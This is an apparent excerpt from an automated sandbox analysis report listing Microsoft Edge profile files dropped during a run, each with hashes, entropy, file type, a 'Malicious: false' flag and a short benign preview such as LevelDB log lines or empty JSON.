C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.147093096421119
Encrypted:	false
SSDEEP:	6:HKZFQL+q2P923oH+TcwtrQMxIFUt8YKZLsG1Zmw+YKZTFOQLVkwO923oH+Tcwtrb:qAyv4YebCFUt8R3/+RbR5LYebtJ
MD5:	C7F395F4E4E68A5485003868D6D68166
SHA1:	91087EA1264CF27A3E02AE17406494ACB83B10F4
SHA-256:	5535CB7BDE1772C22E85488081D3DAC7B2124280BE7CA0B2368CFBDF8491BF4B
SHA-512:	EACAAE6E92812A5FBECED99E07094C72C068DBEF7CDC4C66F46AE107E4C90BA9B05A75D9E68AA4BD95B1157AA27947688E87F262972486B04E3A855D0ABB5D27
Malicious:	false
Preview:	2024/11/26-04:09:18.232 1d18 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/26-04:09:18.233 1d18 Recovering log #3.2024/11/26-04:09:18.259 1d18 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13377085759853104

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.824705535618491
Encrypted:	false
SSDEEP:	24:3elrmNP0Sm7bQye0psAF4unxAtLp3X2amEtG1ChqRxDfQzgQKkOAM4:3elrmZ0Sm7bQIzFOLp2FEkChuYzxHOp
MD5:	D4ADB348C21AF39925C571115A7C946D
SHA1:	9E0F01D2992B7DF77043F787B99C713AA839658E
SHA-256:	503EAEEC486E0FD535023BD252DE66D3D3679D349E219582C8C5798518403FAB
SHA-512:	3EBDDEC20C39825B47E173A712169EDD7244595AB138DFFD4F20A89D610B8A394048DB8CED3D7DEB87A7607F6F7F1E8E7E44FB886ED0C8A1E341942C54D9E65A
Malicious:	false
Preview:	SNSS..........S..............S......"...S..............S..........S..........S..........S....!.....S..................................S...S1..,......S$...39b714a7_e5f4_4528_b377_fea2c124b264......S..........S......l...........S......S..........................S....................5..0......S&...{98952893-68FF-4A5D-A164-705C709ED3DB}........S..........S.............................S..............S........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.......^9g4.'.._9g4.'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.151469856915554
Encrypted:	false
SSDEEP:	6:HKZiqV+q2P923oH+Tcwt7Uh2ghZIFUt8YKZHXZmw+YKZH3VkwO923oH+Tcwt7Uh9:qL+v4YebIhHh2FUt8RJ/+R9V5LYebIh9
MD5:	970D1CACE7B280FCCC8C3DC494481D63
SHA1:	CC0F9B8049C5BDDB955F4E86F6A39B99787D65C5
SHA-256:	E2A887BA53344E842490D0D18A9FD9E6565B748B811A25229E304D42200F1082
SHA-512:	95346E181F001FA568A31300BCBCC361CD1D749D12D1CFABA8974FC4F6F75BEC6AC11A6222DBD45D81E15A7023D026F753D018D0C682CD11353F8D595D833A11
Malicious:	false
Preview:	2024/11/26-04:09:17.465 197c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/26-04:09:17.470 197c Recovering log #3.2024/11/26-04:09:17.470 197c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.151469856915554
Encrypted:	false
SSDEEP:	6:HKZiqV+q2P923oH+Tcwt7Uh2ghZIFUt8YKZHXZmw+YKZH3VkwO923oH+Tcwt7Uh9:qL+v4YebIhHh2FUt8RJ/+R9V5LYebIh9
MD5:	970D1CACE7B280FCCC8C3DC494481D63
SHA1:	CC0F9B8049C5BDDB955F4E86F6A39B99787D65C5
SHA-256:	E2A887BA53344E842490D0D18A9FD9E6565B748B811A25229E304D42200F1082
SHA-512:	95346E181F001FA568A31300BCBCC361CD1D749D12D1CFABA8974FC4F6F75BEC6AC11A6222DBD45D81E15A7023D026F753D018D0C682CD11353F8D595D833A11
Malicious:	false
Preview:	2024/11/26-04:09:17.465 197c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/26-04:09:17.470 197c Recovering log #3.2024/11/26-04:09:17.470 197c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.240930727913461
Encrypted:	false
SSDEEP:	12:q7Ov4YebvqBQFUt8RP8/+Rd5LYebvqBvJ:eM4YebvZg81LYebvk
MD5:	5D832150708C63C0ABBC6E107B62156F
SHA1:	99F546B52D9B40CC22FA4AE83AA1D4C924F61E8A
SHA-256:	85CDDCAD6CFE9A6CB752F1CB628239EDEEBE0297197876B8A801BDBD0EE65CAE
SHA-512:	4ED8F93A9227CB8FDFC8272E063B870DB3C817D206167F7BC433F2CB6B2685DD72607B5464B4D6D18A4C0F43B442C334796FF35D245D05B74C625414478F09F8
Malicious:	false
Preview:	2024/11/26-04:09:18.434 1d08 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/26-04:09:18.435 1d08 Recovering log #3.2024/11/26-04:09:18.438 1d08 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.240930727913461
Encrypted:	false
SSDEEP:	12:q7Ov4YebvqBQFUt8RP8/+Rd5LYebvqBvJ:eM4YebvZg81LYebvk
MD5:	5D832150708C63C0ABBC6E107B62156F
SHA1:	99F546B52D9B40CC22FA4AE83AA1D4C924F61E8A
SHA-256:	85CDDCAD6CFE9A6CB752F1CB628239EDEEBE0297197876B8A801BDBD0EE65CAE
SHA-512:	4ED8F93A9227CB8FDFC8272E063B870DB3C817D206167F7BC433F2CB6B2685DD72607B5464B4D6D18A4C0F43B442C334796FF35D245D05B74C625414478F09F8
Malicious:	false
Preview:	2024/11/26-04:09:18.434 1d08 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/26-04:09:18.435 1d08 Recovering log #3.2024/11/26-04:09:18.438 1d08 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\10d607ed-b244-4dd5-aeb4-f404373ae8bc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\43c08988-c3b2-4f01-9298-2ea06e52dd5d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\523c20ec-d55c-40ce-a8df-6db0493e3b2d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\81fa3c68-cfa3-4420-a92c-c68ae2086ef9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqkomn1KKyRY:YHpoeS7PMVKJTnMRKXkh1KF+
MD5:	ABE81C38891A875B52127ACE9C314105
SHA1:	8EDEBDDAD493CF02D3986A664A4AD1C71CCEBB5F
SHA-256:	6D398F9EB5969D487B57E1C3E1EDDE58660545A7CE404F6DA40C8738B56B6177
SHA-512:	B90DC0E50262ECB05FE1989FA3797C51DF92C83BE94F28FE020994ED6F0E1365EB5B9A0ADA68FCFD46DADEDB6F08FA0E57FF91AA12ED88C3D9AE112FF74329F2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3905a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF4b8ec.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries~RF4e089.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\f93df61a-e806-4523-84b5-469fa416d48b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\fbae62c3-6c4a-404d-b490-4b4347d84ac3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqkomn1KKyRY:YHpoeS7PMVKJTnMRKXkh1KF+
MD5:	ABE81C38891A875B52127ACE9C314105
SHA1:	8EDEBDDAD493CF02D3986A664A4AD1C71CCEBB5F
SHA-256:	6D398F9EB5969D487B57E1C3E1EDDE58660545A7CE404F6DA40C8738B56B6177
SHA-512:	B90DC0E50262ECB05FE1989FA3797C51DF92C83BE94F28FE020994ED6F0E1365EB5B9A0ADA68FCFD46DADEDB6F08FA0E57FF91AA12ED88C3D9AE112FF74329F2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.265273464974492
Encrypted:	false
SSDEEP:	12:qb9yv4YebvqBZFUt8RbH/+RbkR5LYebvqBaJ:sY4Yebvyg8jDLYebvL
MD5:	9AC31B0656D25800AB606507024DF3EA
SHA1:	2F33CFC5B5BA57289BB69A6B06E798E1A2529089
SHA-256:	A14C5E25F5A21A5864326B353BC26E037101AF7FB1616E9235908A1AB47677B6
SHA-512:	484A1C87ECE4C438E7D525E66910D6E0EF41E1FBDFA1F69192B613FAF12099ADF6A0B68C9223576D36456FC9C7AAF3C3D37D7CAB3FE907D5D020D9E01398D3D2
Malicious:	false
Preview:	2024/11/26-04:09:35.944 1d18 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/26-04:09:35.946 1d18 Recovering log #3.2024/11/26-04:09:35.950 1d18 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.265273464974492
Encrypted:	false
SSDEEP:	12:qb9yv4YebvqBZFUt8RbH/+RbkR5LYebvqBaJ:sY4Yebvyg8jDLYebvL
MD5:	9AC31B0656D25800AB606507024DF3EA
SHA1:	2F33CFC5B5BA57289BB69A6B06E798E1A2529089
SHA-256:	A14C5E25F5A21A5864326B353BC26E037101AF7FB1616E9235908A1AB47677B6
SHA-512:	484A1C87ECE4C438E7D525E66910D6E0EF41E1FBDFA1F69192B613FAF12099ADF6A0B68C9223576D36456FC9C7AAF3C3D37D7CAB3FE907D5D020D9E01398D3D2
Malicious:	false
Preview:	2024/11/26-04:09:35.944 1d18 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/26-04:09:35.946 1d18 Recovering log #3.2024/11/26-04:09:35.950 1d18 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.193943872930097
Encrypted:	false
SSDEEP:	6:HKZmIVOq2P923oH+TcwtpIFUt8YKZmKZmw+YKZm2kwO923oH+Tcwta/WLJ:qVAv4YebmFUt8Rd/+Rv5LYebaUJ
MD5:	D476D101F9839BC990F4CC07DAB32727
SHA1:	6D7CE65ED35740041E4AEE3F9762E987CAF8A9AB
SHA-256:	3FF808861394FCBCF05C49AF4FDA462F8F0853A869F466A0E776DD4C57F1BAC7
SHA-512:	7096123860BD36F14F68C8FD2E4EA4807C97F8A9ED3F1F9DD27478B407956C3E7DBF9EB0643F6A923BA2D18F5EB888AFFAAE21A906F6221EDCF85BF39D9D94BC
Malicious:	false
Preview:	2024/11/26-04:09:17.423 1610 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/26-04:09:17.425 1610 Recovering log #3.2024/11/26-04:09:17.425 1610 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.193943872930097
Encrypted:	false
SSDEEP:	6:HKZmIVOq2P923oH+TcwtpIFUt8YKZmKZmw+YKZm2kwO923oH+Tcwta/WLJ:qVAv4YebmFUt8Rd/+Rv5LYebaUJ
MD5:	D476D101F9839BC990F4CC07DAB32727
SHA1:	6D7CE65ED35740041E4AEE3F9762E987CAF8A9AB
SHA-256:	3FF808861394FCBCF05C49AF4FDA462F8F0853A869F466A0E776DD4C57F1BAC7
